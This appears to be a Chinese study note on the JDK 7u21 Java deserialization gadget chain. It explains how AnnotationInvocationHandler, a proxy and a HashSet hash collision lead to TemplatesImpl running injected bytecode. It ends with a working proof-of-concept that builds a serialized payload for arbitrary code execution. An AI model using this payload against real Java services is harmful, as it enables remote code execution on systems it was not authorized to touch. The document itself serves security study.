jdk7u21之前的通杀链.
核心是sun.reflect.annotation.AnnotationInvocationHandler 这个类,
这条链是思路与前面的思路完全不同,
根据前面的知识可以知道,可以利用这个类来触发setvalue从而去触发cc里面的transform方法,
但是CC链子的核心是transform,去除CC之后,AnnotationInvocationHandler 这个类似乎没有什么用处了。
核心
继续发掘 AnnotationInvocationHandler : 发现有下面这么一段很逆天的代码。
var5来源是this.getMemberMethods, 稍微跟一下可以发现他调用的是this.type.getDeclareMethods这个方法。
var1也刚好是this.type的实例,
也就这段代码会遍历调用this.type类的所有方法会执行,那么控制this.type为TemplatesImpl类,或者(Templates类传TemplatesImpl的实例)一定会触发getOutputProperties或者newTransform, 从而导致任意代码执行。
equalsImpl调用
所以就要想办法调用 equalsImpl, equalsImpl在AnnotationInvocationHandler#invoke 中被调用.
而这个方法是一个代理方法,可以把AnnotationInvocationHandler设置为代理类,这样在触发别的代理类的任意方法的时候都会执行AnnotationInvocationHandler#invoke.
然后看下面的代码可知,调用代理类的equals方法的时候就会触发equalsImpl的调用
代理类与触发
这个时候就要想到各种各样的map类以及容器类了,而且最好还是和Hash有关系的,我们去HashMap这个类去看一看,发现putVal就会调用equals方法.而且我们知道反序列化的时候是会调用putVal的.
但是这里调用equals方法需要绕过一道门槛,就是Hash计算的门槛.
懒得自己看了.. 跟着P师傅思路找HashSet了
但是无法直接把HashMap类当作代理类,因为这样调用readObject也会直接调用invoke. 我们想要的是调用proxy.equals
又刚好发现:
HashSet中:刚好会调用HashMap的put方法,
HashMap#put方法又是调用的putVal.
putVal又会调用key的equals方法,
所以整个思路就是,
- 首先创建一个HashMap1
- 用AnnotationInvocationHandler为HashMap1创建代理proxyMap
- 同时把
- 然后再把proxyMap当作HashSet的Key塞进去.
这其中有一些难点:
- 嵌套多层map之后,哪些map有哪些元素很容易晕
- hash的绕过
自己调试了一遍还是不明所以,所以就暂时搁置了。
下面是POC:
// jdk1.7
// 核心 : sun.reflect.annotation.AnnotationInvocationHandler
public class JDK7u21 {
public static byte[] payload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ct = pool.get(bad.evilClz.class.getName());
byte[] shellcode = ct.toBytecode();
TemplatesImpl tmpl = new TemplatesImpl();
Reflections.setFieldValue(tmpl,"_bytecodes",new byte[][] {shellcode});
Reflections.setFieldValue(tmpl,"_name","testName");
Reflections.setFieldValue(tmpl,"_tfactory",new TransformerFactoryImpl());
Map hashMap = new HashMap();
hashMap.put("f5a5a608","foo"); // hash("f5a5a608") = 0;
Class clz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Templates.class,hashMap);
// tmpl.getOutputProperties();
Map proxyMap = (Map) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
hashMap.getClass().getInterfaces(), handler);
hashMap.put("f5a5a608",tmpl); // 这里把hashMap代理之后, readObject都进不去...
HashSet set = new HashSet();
// set.add(tmpl);
set.add(proxyMap);
set.add(tmpl);
return Serializer.Serialize(set);
}
}